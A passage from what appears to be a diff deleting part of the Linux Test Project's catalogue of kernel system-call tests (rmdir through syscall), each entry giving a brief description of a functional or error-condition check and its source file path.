-		ltp/testcases/kernel/syscalls/rmdir/rmdir02.c
-	<\test_location>
-<\testname>
-<testname=rmdir03>
-	<description>
-		check rmdir() fails with EPERM or EACCES
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rmdir/rmdir03.c
-	<\test_location>
-<\testname>
-<testname=rmdir04>
-	<description>
-		Basic test for the rmdir(2) system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rmdir/rmdir04.c
-	<\test_location>
-<\testname>
-<testname=rmdir05>
-	<description>
-		Verify that rmdir(2) returns a value of -1 and sets errno to indicate the error.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rmdir/rmdir05.c
-	<\test_location>
-<\testname>
-<testname=sbrk01>
-	<description>
-		Basic test for the sbrk(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sbrk/sbrk01.c
-	<\test_location>
-<\testname>
-<testname=sched_get_priority_max01>
-	<description>
-		Basic test for sched_get_priority_max().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c
-	<\test_location>
-<\testname>
-<testname=sched_get_priority_max02>
-	<description>
-		Error condition test for sched_get_priority_max().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max02.c
-	<\test_location>
-<\testname>
-<testname=sched_get_priority_min01>
-	<description>
-		Basic test for sched_get_priority_min().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c
-	<\test_location>
-<\testname>
-<testname=sched_get_priority_min02>
-	<description>
-		Error condition test for sched_get_priority_min().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min02.c
-	<\test_location>
-<\testname>
-<testname=sched_getparam01>
-	<description>
-		Basic test for sched_getparam(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_getparam/sched_getparam01.c
-	<\test_location>
-<\testname>
-<testname=sched_getparam02>
-	<description>
-		Get scheduling parametes for parent process
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_getparam/sched_getparam02.c
-	<\test_location>
-<\testname>
-<testname=sched_getparam03>
-	<description>
-		Testing error conditions for sched_getparam(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c
-	<\test_location>
-<\testname>
-<testname=sched_getscheduler01>
-	<description>
-		Testcase to check sched_getscheduler() returns correct return value
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler01.c
-	<\test_location>
-<\testname>
-<testname=sched_getscheduler02>
-	<description>
-		To check for the errno ESRCH
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler02.c
-	<\test_location>
-<\testname>
-<testname=sched_rr_get_interval01>
-	<description>
-		Basic test for sched_rr_get_interval(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c
-	<\test_location>
-<\testname>
-<testname=sched_rr_get_interval02>
-	<description>
-		Functionality test
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c
-	<\test_location>
-<\testname>
-<testname=sched_rr_get_interval03>
-	<description>
-		Tests for error conditions
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c
-	<\test_location>
-<\testname>
-<testname=sched_setparam01>
-	<description>
-		Basic test for sched_setparam(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam01.c
-	<\test_location>
-<\testname>
-<testname=sched_setparam02>
-	<description>
-		Checks functionality for sched_setparam(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c
-	<\test_location>
-<\testname>
-<testname=sched_setparam03>
-	<description>
-		Checks functionality for sched_setparam(2) for pid!=0
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c
-	<\test_location>
-<\testname>
-<testname=sched_setparam04>
-	<description>
-		Testing error conditions for sched_setparam(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c
-	<\test_location>
-<\testname>
-<testname=sched_setparam05>
-	<description>
-		Verify that sched_setparam() fails if the user does
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam05.c
-	<\test_location>
-<\testname>
-<testname=sched_setscheduler01>
-	<description>
-		Testcase to test whether sched_setscheduler(2) sets the errnos
-		correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c
-	<\test_location>
-<\testname>
-<testname=sched_setscheduler02>
-	<description>
-		Testcase to test whether sched_setscheduler(2) sets the errnos
-		correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c
-	<\test_location>
-<\testname>
-<testname=sched_yield01>
-	<description>
-		Testcase to check that sched_yield returns correct values.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sched_yield/sched_yield01.c
-	<\test_location>
-<\testname>
-<testname=select01>
-	<description>
-		Basic test for the select(2) system call to a fd of regular file with no I/O
-		and small timeout
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/select/select01.c
-	<\test_location>
-<\testname>
-<testname=select02>
-	<description>
-		Basic test for the select(2) system call to fd of system pipe with no I/O
-		and small timeout
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/select/select02.c
-	<\test_location>
-<\testname>
-<testname=select03>
-	<description>
-		Basic test for the select(2) system call to fd of a named-pipe (FIFO)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/select/select03.c
-	<\test_location>
-<\testname>
-<testname=select04>
-	<description>
-		Verify that select(2) returns immediately (does not block) if the
-		timeout value is zero.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=select05>
-	<description>
-		Verify that select(2) fails when one or more of the file descriptor sets
-		specify a file descriptor which is not valid.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=select06>
-	<description>
-		Verify that select(2) fails when a signal is delivered before any of the
-		selected events occur and before the timeout interval expires.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=select07>
-	<description>
-		Verify that select(2) fails when an invalid timeout interval is specified.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=select08>
-	<description>
-		Verify the functionality of select(2) by passing non-null writefds
-		which points to a regular file, pipes or FIFO's.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=select09>
-	<description>
-		Verify the functionality of select(2) by passing non-null readfds
-		which points to a regular file, pipes or FIFO's.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=select10>
-	<description>
-		Verify that a successful call to select() shall return the desired
-		number of modified descriptors for which bits are set in the bit masks,
-		where descriptors points to a regular file, pipes or FIFO's.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=send01>
-	<description>
-		Verify that send() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/send/send01.c
-	<\test_location>
-<\testname>
-<testname=sendfile02>
-	<description>
-		Testcase to test the basic functionality of the sendfile(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sendfile/sendfile02.c
-	<\test_location>
-<\testname>
-<testname=sendfile03>
-	<description>
-		Testcase to test that sendfile(2) system call returns appropriete
-		errnos on error.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sendfile/sendfile03.c
-	<\test_location>
-<\testname>
-<testname=sendmsg01>
-	<description>
-		Verify that sendmsg() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sendmsg/sendmsg01.c
-	<\test_location>
-<\testname>
-<testname=sendto01>
-	<description>
-		Verify that sendto() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sendto/sendto01.c
-	<\test_location>
-<\testname>
-<testname=setdomainname01>
-	<description>
-		Basic test for setdomainame(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setdomainname/setdomainname01.c
-	<\test_location>
-<\testname>
-<testname=setdomainname02>
-	<description>
-		Test for checking error conditions for setdomainame(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setdomainname/setdomainname02.c
-	<\test_location>
-<\testname>
-<testname=setdomainname03>
-	<description>
-		Test for EPERM error value when run as non superuser
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setdomainname/setdomainname03.c
-	<\test_location>
-<\testname>
-<testname=setegid01>
-	<description>
-		Verify that setegid does not modify the saved gid or real gid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setegid/setegid01.c
-	<\test_location>
-<\testname>
-<testname=setfsgid01>
-	<description>
-		Testcase to check the basic functionality of setfsgid(2) system
-		call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setfsgid/setfsgid01.c
-	<\test_location>
-<\testname>
-<testname=setfsuid01>
-	<description>
-		Testcase to test the basic functionality of the setfsuid(2) system
-		call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setfsuid/setfsuid01.c
-	<\test_location>
-<\testname>
-<testname=setgid01>
-	<description>
-		Basic test for the setgid(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setgid/setgid01.c
-	<\test_location>
-<\testname>
-<testname=setgid02>
-	<description>
-		Testcase to ensure that the setgid() system call sets errno to EPERM
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setgid/setgid02.c
-	<\test_location>
-<\testname>
-<testname=setgroups01>
-	<description>
-		Basic test for the setgroups(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setgroups/setgroups01.c
-	<\test_location>
-<\testname>
-<testname=setgroups02>
-	<description>
-		Verify that,
-		1. setgroups() fails with -1 and sets errno to EINVAL if the size
-		argument value is > NGROUPS
-		2. setgroups() fails with -1 and sets errno to EPERM if the
-		calling process is not super-user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setgroups/setgroups02.c
-	<\test_location>
-<\testname>
-<testname=setgroups03>
-	<description>
-		Verify that, only root process can invoke setgroups() system call to
-		set the supplementary group IDs of the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setgroups/setgroups03.c
-	<\test_location>
-<\testname>
-<testname=setitimer01>
-	<description>
-		check that a resonable setitimer() call succeeds.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setitimer/setitimer01.c
-	<\test_location>
-<\testname>
-<testname=setitimer02>
-	<description>
-		check that a setitimer() call fails as expected
-		with incorrect values.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setitimer/setitimer02.c
-	<\test_location>
-<\testname>
-<testname=setitimer03>
-	<description>
-		check that a setitimer() call fails as expected
-		with incorrect values.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setitimer/setitimer03.c
-	<\test_location>
-<\testname>
-<testname=setpgid01>
-	<description>
-		Basic test for setpgid(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpgid/setpgid01.c
-	<\test_location>
-<\testname>
-<testname=setpgid02>
-	<description>
-		Testcase to check that setpgid() sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpgid/setpgid02.c
-	<\test_location>
-<\testname>
-<testname=setpgid03>
-	<description>
-		Test to check the error and trivial conditions in setpgid system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpgid/setpgid03.c
-	<\test_location>
-<\testname>
-<testname=setpgrp01>
-	<description>
-		Basic test for the setpgrp(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpgrp/setpgrp01.c
-	<\test_location>
-<\testname>
-<testname=setpgrp02>
-	<description>
-		Testcase to check the basic functionality of the setpgrp(2) syscall.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpgrp/setpgrp02.c
-	<\test_location>
-<\testname>
-<testname=setpriority01>
-	<description>
-		set the priority for the test process lower.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpriority/setpriority01.c
-	<\test_location>
-<\testname>
-<testname=setpriority02>
-	<description>
-		test for an expected failure by trying to raise
-		the priority for the test process while not having
-		permissions to do so.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpriority/setpriority02.c
-	<\test_location>
-<\testname>
-<testname=setpriority03>
-	<description>
-		test for an expected failure by using an invalid
-		PRIO value
-		setpriority04
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpriority/setpriority03.c
-	<\test_location>
-<\testname>
-<testname=setpriority04>
-	<description>
-		test for an expected failure by using an invalid
-		process id
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpriority/setpriority04.c
-	<\test_location>
-<\testname>
-<testname=setpriority05>
-	<description>
-		test for an expected failure by trying to change
-		a process with an ID that is different from the
-		test process
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setpriority/setpriority05.c
-	<\test_location>
-<\testname>
-<testname=setregid01>
-	<description>
-		Basic test for the setregid(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setregid/setregid01.c
-	<\test_location>
-<\testname>
-<testname=setregid02>
-	<description>
-		Test that setregid() fails and sets the proper errno values when a
-		non-root user attemps to change the real or effective group id to a
-		value other than the current gid or the current effective gid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setregid/setregid02.c
-	<\test_location>
-<\testname>
-<testname=setregid03>
-	<description>
-		Test setregid() when executed by a non-root user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setregid/setregid03.c
-	<\test_location>
-<\testname>
-<testname=setregid04>
-	<description>
-		Test setregid() when executed by root.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setregid/setregid04.c
-	<\test_location>
-<\testname>
-<testname=setresgid01>
-	<description>
-		Checks functionality of setresgid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setresgid/setresgid01.c
-	<\test_location>
-<\testname>
-<testname=setresgid02>
-	<description>
-		Checks functionality of setresgid(2) for non-root group id.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setresgid/setresgid02.c
-	<\test_location>
-<\testname>
-<testname=setresgid03>
-	<description>
-		Checks error conditions for setresgid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setresgid/setresgid03.c
-	<\test_location>
-<\testname>
-<testname=setresuid01>
-	<description>
-		Test setresuid() when executed by root.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setresuid/setresuid01.c
-	<\test_location>
-<\testname>
-<testname=setresuid02>
-	<description>
-		Test that a non-root user can change the real, effective and saved
-		uid values through the setresuid system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setresuid/setresuid02.c
-	<\test_location>
-<\testname>
-<testname=setresuid03>
-	<description>
-		Test that the setresuid system call sets the proper errno
-		values when a non-root user attempts to change the real, effective or
-		saved uid to a value other than one of the current uid, the current
-		effective uid of the current saved uid. Also verify that setresuid
-		fails if an invalid uid value is given.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setresuid/setresuid03.c
-	<\test_location>
-<\testname>
-<testname=setreuid01>
-	<description>
-		Basic test for the setreuid(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setreuid/setreuid01.c
-	<\test_location>
-<\testname>
-<testname=setreuid02>
-	<description>
-		Test setreuid() when executed by root.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setreuid/setreuid02.c
-	<\test_location>
-<\testname>
-<testname=setreuid03>
-	<description>
-		Test setreuid() when executed by an unpriviledged user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setreuid/setreuid03.c
-	<\test_location>
-<\testname>
-<testname=setreuid04>
-	<description>
-		Test that root can change the real and effective uid to an
-		unpriviledged user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setreuid/setreuid04.c
-	<\test_location>
-<\testname>
-<testname=setreuid05>
-	<description>
-		Test the setreuid() feature, verifying the role of the saved-set-uid
-		and setreuid's effect on it.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setreuid/setreuid05.c
-	<\test_location>
-<\testname>
-<testname=setreuid06>
-	<description>
-		Test that EINVAL is set when setreuid is given an invalid user id.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setreuid/setreuid06.c
-	<\test_location>
-<\testname>
-<testname=setrlimit01>
-	<description>
-		Testcase to check the basic functionality of the setrlimit system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setrlimit/setrlimit01.c
-	<\test_location>
-<\testname>
-<testname=setrlimit02>
-	<description>
-		Testcase to test the different errnos set by setrlimit(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setrlimit/setrlimit02.c
-	<\test_location>
-<\testname>
-<testname=setrlimit03>
-	<description>
-		Test for EPERM when the super-user tries to increase RLIMIT_NOFILE
-		beyond the system limit.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setrlimit/setrlimit03.c
-	<\test_location>
-<\testname>
-<testname=setsid01>
-	<description>
-		Test to check the error and trivial conditions in setsid system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setsid/setsid01.c
-	<\test_location>
-<\testname>
-<testname=setsockopt01>
-	<description>
-		Verify that setsockopt() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setsockopt/setsockopt01.c
-	<\test_location>
-<\testname>
-<testname=settimeofday01>
-	<description>
-		Testcase to check the basic functionality of settimeofday().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/settimeofday/settimeofday01.c
-	<\test_location>
-<\testname>
-<testname=settimeofday02>
-	<description>
-		Testcase to check that settimeofday() sets errnos correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/settimeofday/settimeofday02.c
-	<\test_location>
-<\testname>
-<testname=setuid01>
-	<description>
-		Basic test for the setuid(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setuid/setuid01.c
-	<\test_location>
-<\testname>
-<testname=setuid02>
-	<description>
-		Basic test for the setuid(2) system call as root.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setuid/setuid02.c
-	<\test_location>
-<\testname>
-<testname=setuid03>
-	<description>
-		Test to check the error and trivial conditions in setuid
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/setuid/setuid03.c
-	<\test_location>
-<\testname>
-<testname=sigaction01>
-	<description>
-		Test some features of sigaction (see below for more details)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigaction/sigaction01.c
-	<\test_location>
-<\testname>
-<testname=sigaction02>
-	<description>
-		Testcase to check the basic errnos set by the sigaction(2) syscall.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigaction/sigaction02.c
-	<\test_location>
-<\testname>
-<testname=sigaltstack01>
-	<description>
-		Send a signal using the main stack. While executing the signal handler
-		compare a variable's address lying on the main stack with the stack
-		boundaries returned by sigaltstack().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigaltstack/sigaltstack01.c
-	<\test_location>
-<\testname>
-<testname=sigaltstack02>
-	<description>
-		Verify that,
-		1. sigaltstack() fails and sets errno to EINVAL when "ss_flags" field
-		pointed to by 'ss' contains invalid flags.
-		2. sigaltstack() fails and sets errno to ENOMEM when the size of alternate
-		stack area is less than MINSIGSTKSZ.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigaltstack/sigaltstack02.c
-	<\test_location>
-<\testname>
-<testname=sighold02>
-	<description>
-		Basic test for the sighold02(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sighold/sighold02.c
-	<\test_location>
-<\testname>
-<testname=signal01>
-	<description>
-		set the signal handler to our own function
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/signal/signal01.c
-	<\test_location>
-<\testname>
-<testname=signal02>
-	<description>
-		Test that we get an error using illegal signals
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/signal/signal02.c
-	<\test_location>
-<\testname>
-<testname=signal03>
-	<description>
-		Boundary value and other invalid value checking of signal setup and signal
-		sending.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/signal/signal03.c
-	<\test_location>
-<\testname>
-<testname=signal04>
-	<description>
-		restore signals to default behavior
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/signal/signal04.c
-	<\test_location>
-<\testname>
-<testname=signal03>
-	<description>
-		set signals to be ignored
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/signal/signal03.c
-	<\test_location>
-<\testname>
-<testname=sigpending02>
-	<description>
-		Test to see that the proper errors are returned by sigpending.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigpending/sigpending02.c
-	<\test_location>
-<\testname>
-<testname=sigprocmask01>
-	<description>
-		Verify that sigprocmask() succeeds to examine and change the calling
-		process's signal mask.
-		Also, verify that sigpending() succeeds to store signal mask that are
-		blocked from delivery and pending for the calling process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigprocmask/sigprocmask01.c
-	<\test_location>
-<\testname>
-<testname=sigrelse01>
-	<description>
-		Basic test for the sigrelse(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigrelse/sigrelse01.c
-	<\test_location>
-<\testname>
-<testname=sigsuspend01>
-	<description>
-		Verify that sigsuspend() succeeds to change process's current signal
-		mask with the specified signal mask and suspends the process execution
-		until the delivery of a signal.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c
-	<\test_location>
-<\testname>
-<testname=socket01>
-	<description>
-		Verify that socket() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/socket/socket01.c
-	<\test_location>
-<\testname>
-<testname=socketcall01>
-	<description>
-		Basic test for socketcall(2) for socket(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/socketcall/socketcall01.c
-	<\test_location>
-<\testname>
-<testname=socketcall02>
-	<description>
-		Error test for socketcall(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/socketcall/socketcall02.c
-	<\test_location>
-<\testname>
-<testname=socketcall03>
-	<description>
-		Basic test for socketcall(2) for bind(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/socketcall/socketcall03.c
-	<\test_location>
-<\testname>
-<testname=socketcall04>
-	<description>
-		Basic test for socketcall(2) for listen(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/socketcall/socketcall04.c
-	<\test_location>
-<\testname>
-<testname=socketpair01>
-	<description>
-		Verify that socketpair() returns the proper errno for various
-		failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/socketpair/socketpair01.c
-	<\test_location>
-<\testname>
-<testname=socketpair01>
-	<description>
-		Verify that socketpair() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/socketpair/socketpair01.c
-	<\test_location>
-<\testname>
-<testname=sockioctl01>
-	<description>
-		Verify that ioctl() on sockets returns the proper errno for various
-		failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sockioctl/sockioctl01.c
-	<\test_location>
-<\testname>
-<testname=stat01>
-	<description>
-		Verify that, stat(2) succeeds to get the status of a file and fills the
-		stat structure elements.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/stat/stat01.c
-	<\test_location>
-<\testname>
-<testname=stat02>
-	<description>
-		Verify that, stat(2) succeeds to get the status of a file and fills the
-		stat structure elements though process doesn't have read access to the
-		file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/stat/stat02.c
-	<\test_location>
-<\testname>
-<testname=stat03>
-	<description>
-		Verify that,
-		1) stat(2) returns -1 and sets errno to EACCES if search permission is
-		denied on a component of the path prefix.
-		2) stat(2) returns -1 and sets errno to ENOENT if the specified file
-		does not exists or empty string.
-		3) stat(2) returns -1 and sets errno to EFAULT if pathname points
-		outside user's accessible address space.
-		4) stat(2) returns -1 and sets errno to ENAMETOOLONG if the pathname
-		component is too long.
-		5) stat(2) returns -1 and sets errno to ENOTDIR if the directory
-		component in pathname is not a directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/stat/stat03.c
-	<\test_location>
-<\testname>
-<testname=stat05>
-	<description>
-		Basic test for the stat05(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/stat/stat05.c
-	<\test_location>
-<\testname>
-<testname=statfs01>
-	<description>
-		Basic test for the statfs(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/statfs/statfs01.c
-	<\test_location>
-<\testname>
-<testname=statfs02>
-	<description>
-		Testcase to check that statfs(2) sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/statfs/statfs02.c
-	<\test_location>
-<\testname>
-<testname=stime01>
-	<description>
-		Verify that the system call stime() successfully sets the system's idea
-		of data and time if invoked by "root" user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/stime/stime01.c
-	<\test_location>
-<\testname>
-<testname=stime02>
-	<description>
-		Verify that the system call stime() fails to set the system's idea
-		of data and time if invoked by "non-root" user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/stime/stime02.c
-	<\test_location>
-<\testname>
-<testname=string01>
-	<description>
-		Test string functions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/string/string01.c
-	<\test_location>
-<\testname>
-<testname=swapoff01>
-	<description>
-		Basic test for swapoff(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/swapoff/swapoff01.c
-	<\test_location>
-<\testname>
-<testname=swapoff02>
-	<description>
-		Test checking for basic error conditions
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/swapoff/swapoff02.c
-	<\test_location>
-<\testname>
-<testname=swapon01>
-	<description>
-		Basic test for swapon(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/swapon/swapon01.c
-	<\test_location>
-<\testname>
-<testname=swapon02>
-	<description>
-		Test checking for basic error conditions
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/swapon/swapon02.c
-	<\test_location>
-<\testname>
-<testname=symlink01>
-	<description>
-		Test of various file function calls, such as rename or open, on a symbolic
-		link file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/symlink/symlink01.c
-	<\test_location>
-<\testname>
-<testname=symlink02>
-	<description>
-		Basic test for the symlink(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/symlink/symlink02.c
-	<\test_location>
-<\testname>
-<testname=symlink03>
-	<description>
-		Verify that,
-		1) symlink(2) returns -1 and sets errno to EACCES if search/write
-		permission is denied in the directory where the symbolic link is
-		being created.
-		2) symlink(2) returns -1 and sets errno to EEXIST if the specified
-		symbolic link already exists.
-		3) symlink(2) returns -1 and sets errno to EFAULT if the specified
-		file or symbolic link points to invalid address.
-		4) symlink(2) returns -1 and sets errno to ENAMETOOLONG if the
-		pathname component of symbolic link is too long (ie, > PATH_MAX).
-		5) symlink(2) returns -1 and sets errno to ENOTDIR if the directory
-		component in pathname of symbolic link is not a directory.
-		6) symlink(2) returns -1 and sets errno to ENOENT if the component of
-		symbolic link points to an empty string.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/symlink/symlink03.c
-	<\test_location>
-<\testname>
-<testname=symlink04>
-	<description>
-		Verify that, symlink will succeed to creat a symbolic link of an existing
-		object name path.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/symlink/symlink04.c
-	<\test_location>
-<\testname>
-<testname=symlink05>
-	<description>
-		Verify that, symlink will succeed to creat a symbolic link of an
-		non-existing object name path.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/symlink/symlink05.c
-	<\test_location>
-<\testname>
-<testname=sync01>
-	<description>
-		Basic test for the sync(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sync/sync01.c
-	<\test_location>
-<\testname>
-<testname=sync02>
-	<description>
-		Open a file for write; modify the file, then do a sync().
-		Verify that the data has been written to disk by re-opening the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sync/sync02.c
-	<\test_location>
-<\testname>
-<testname=syscall01>
-	<description>
-		Basic test for the syscall() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syscall/syscall01.c
